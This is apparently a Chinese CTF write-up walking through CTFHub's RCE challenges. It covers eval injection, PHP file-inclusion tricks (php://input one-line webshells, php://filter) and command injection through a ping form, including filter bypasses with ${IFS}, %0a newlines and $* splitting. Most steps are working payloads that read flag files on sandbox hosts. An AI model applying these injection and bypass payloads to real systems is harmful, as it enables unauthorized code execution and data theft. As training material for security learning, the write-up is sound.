CTFHub RCE

RCE

  • eval执行

了解eval执行和Linux基本指令。

  1. 网址后缀传参:/?cmd=system(”ls /”); 切记不要漏掉分号,目的:打印根目录。
  2. 发现有flag_1206文件,再传参:/?cmd=system(”cat /flag_1206”);
  3. 得到flag。
  • 文件包含

  1. 允许被包含的文件以.php格式执行。
  2. 先包含shell.txt文件,以file传参。
  3. 再利用ctfhub传参,打印根目录。
  4. 代码
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system("ls% /");

回显目录。

  1. 当我分两次传参时,无回显。
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt;
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?fctfhub=system("ls /");
  1. <eval执行>套路
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system("cat /flag");
  • php://input

  1. 按页面代码提示,phpinfo.php文件作参数提交上去。
http://challenge-b31895ee676f579a.sandbox.ctfhub.com:10800/?file=php://phpinfo.php;
  1. 跳转。再访问/?file=php://input 网址(注意:不加分号)。burp抓包,改GET为POST, 在文件内容区写一句话木马:
<?PHP system("ls /"); ?>      # 注意:这里的PHP如果不大写不生效。
  1. send, 回显根目录。
  2. 重复第二步骤,只不过一句话木马改为:
<?PHP system("cat /flag_3305"); ?>
  1. get the flag!
  • 读取源代码

  1. 网址后缀/?file=php://filter/resource=/flag回车,回显flag。
  • 远程包含

  1. 访问/?file=php://input 网址,回显正常网页,存在文件包含。
  2. php://input 套路。
  • 命令注入

  1. 输入:0.0.0.0 | ls 点击ping, 回显目录。
  2. 输入:0.0.0.0 | cat 34950294253.php 点击ping, 回显:
<pre>
Array
(
    [0] => <?php
)
</pre>
  1. 查看网页源代码,被注释掉的flag。
  • 过滤cat

  1. <命令注入>套路,只不过将cat命令改为head flag_34950294253.php, 只显示文件的前十行。
  • 过滤空格

  1. cat<a.txt 实现:打印文件内容到终端。
 输入 0.0.0.0;cat<flag_27796338222712.php 然后点击ping。
  1. 查看网页源代码。
  • 过滤目录分隔符

  1. 由于ls发现有文件flag_is_here,不像文件,倒像一个文件夹。
输入 ;cd flag_is_here;ls          // ; 起到拼接命令的作用。

回显目录。

  1. 输 入 ;cd flag_is_here;cat flag_129320423.php 点击ping
  2. 查看源代码,得到flag。
  • 过滤运算符

  1. 也就是说&, | 等一些运算符不能用。
  2. 使用 ; 来代替。
  3. <过滤空格>套路。
  • 综合过滤题

  1. 查看网页源代码,发现 | & ;空格 / cat flag ctfhub均被过滤。
  2. 添加网址后缀:
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}<fl$*ag_61873105619223.php# 

含义:

%0A 换行
%0D 回车
${IFS} 空格
$*
  1. 查看网络源代码,得到flag。

不解: 这个过滤发生在前端还是后端呢?%0a是被url解析为换行符的,我在文本框中输入则无效,为什么一定要在url后缀输入呢?难道是这个我发送的url只有到服务器才会被解析吗?到后端才会被解析为换行符?

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值